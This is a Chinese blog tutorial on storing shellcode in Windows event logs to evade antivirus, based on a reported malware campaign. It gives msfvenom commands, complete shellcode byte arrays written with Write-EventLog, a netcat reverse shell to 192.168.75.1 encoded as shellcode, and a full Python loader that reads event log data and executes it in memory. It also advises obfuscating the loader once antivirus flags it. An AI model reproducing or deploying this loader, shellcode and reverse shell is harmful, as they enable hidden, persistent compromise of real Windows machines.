巧用Windows事件日志隐藏载荷

  1. 巧用Windows事件日志隐藏载荷
  2. 写入日志
  3. 弹计算器复现
    1. 写入荷载
    2. 执行荷载
  4. 反弹nc命令
    1. 注入并执行荷载
  5. 注意事项
    1. 用户限制
    2. 大小限制
    3. 更持久
  6. 代码

巧用Windows事件日志隐藏载荷

根据卡巴斯基发布的研究报告发现一项恶意活动,其中的技术涉及将shellcode直接放入Windows事件日志,Windows事件日志可以被攻击者用来掩盖特洛伊木马病毒的恶意使用。实现了”无文件”攻击技术.

简单来说就是将shellcode放到windows的日志中去,然后后续只需要用加载器加载日志中的shellcode就可以实现分离免杀了。

Windows事件日志文件实际上是以特定的数据结构的方式存储内容,每条记录事件的数据结构由9个字段组成,包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据(EventData)等信息。其中事件数据仅支持消息和二进制数据

写入日志

那么怎么把数据写入日志文件中呢,powershell中设置了一条命令,帮助我们方便的将数据写入日志文件中。

Write-EventLog命令可以将事件写入事件日志,参考微软官方文档,其中参数对应上面介绍的字段:

image-20230317181147969

执行命令:Write-EventLog -LogName Application -Source VSS -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"

image-20230317181314533

image-20230317181324210

可以看到日志文件中已经有了我们写入的日志信息。

弹计算器复现

写入荷载

现在进行复现

只需在Write-EventLog中使用-RawData参数,就可以在事件日志字段中包含二进制数据,而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组,然后再传递。

首先,使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串

msfvenom -p windows/x64/exec CMD=calc.exe -f hex 

image-20230317181847489

在线16进制字符串转bytes - 在线工具 (bugscaner.com)

用工具转换

image-20230317182124892

$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)

使用密钥管理服务日志和KmsRequests作为源进行事件日志写入。

Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data

执行后,Payload已成功存储到事件日志当中。于事件日志的详细信息就能查看到。

image-20230317182436801

image-20230317182459888

执行荷载

为了提取并执行写入的载荷,这边用非常简单的C++程序和Python脚本进行证明(大佬的)

ldsaiyan/EventLogPersist: A Simple Proof Code for Extracting and Executing Shellcode from Event Logs (github.com)

我这里也会在最后把代码贴出来(笑死我了,我刚把代码贴出来就报毒了,这速度也太快了。后面代码大家可以参照我以前的做做混淆算了)

现在把python代码打包好上传到目标机器,然后执行。

image-20230317184607663

成功弹出计算器

反弹nc命令

但是这个上线是有大小限制的,我尝试生成msf的shellcode过大了,无法写入日志文件。

所以我觉得可以尝试用nc来弄?

反弹一个cmd出来

攻击机nc监听

nc.exe -lvvp 6666

目标机器

.\nc.exe 192.168.75.1 6666 -e c:\windows\system32\cmd.exe

生成shellcode

msfvenom -p windows/x64/exec CMD="C:\Users\24205\Desktop\netcat-win32-1.12\nc.exe 192.168.75.1 6666 -e c:\windows\system32\cmd.exe" -f hex 

注入并执行荷载

$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x43, 0x3A, 0x5C, 0x55, 0x73, 0x65, 0x72, 0x73, 0x5C, 0x32, 0x34, 0x32, 0x30, 0x35, 0x5C, 0x44, 0x65, 0x73, 0x6B, 0x74, 0x6F, 0x70, 0x5C, 0x6E, 0x65, 0x74, 0x63, 0x61, 0x74, 0x2D, 0x77, 0x69, 0x6E, 0x33, 0x32, 0x2D, 0x31, 0x2E, 0x31, 0x32, 0x5C, 0x6E, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x20, 0x31, 0x39, 0x32, 0x2E, 0x31, 0x36, 0x38, 0x2E, 0x37, 0x35, 0x2E, 0x31, 0x20, 0x36, 0x36, 0x36, 0x36, 0x20, 0x2D, 0x65, 0x20, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x5C, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x33, 0x32, 0x5C, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00)
Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data

然后点击加载器,遂成功

image-20230317211809036

注意事项

用户限制

事件日志的写入权限问题。为了能在事件日志条目中存储有效负载,我们拿到的权限必须要能写入日志。

大小限制

需要注意的另一个限制是,事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。

更持久

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\对应的日志名称下的条目中,存在一个EventMessageFile属性。如果在注入载荷的时候,事件ID不存在于该属性指定的源关联的事件消息文件中,则会出现下图这个日志消息:

image-20230317192555763

代码

import ctypes
import win32evtlog

server = 'localhost'
logtype = 'Key Management Service'
hand = win32evtlog.OpenEventLog(server, logtype)
flags = win32evtlog.EVENTLOG_BACKWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
total = win32evtlog.GetNumberOfEventLogRecords(hand)
switch = False


def calc(shellcode):
    shellcode = bytearray(shellcode)
    print(shellcode)

    ctypes .windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )

    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

    return True


while True:
    events = win32evtlog.ReadEventLog(hand, flags, 0)
    if events:
        for event in events:
            print(event.Data)
            if event.Data:
                switch = calc(event.Data)
    if switch:
        break

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。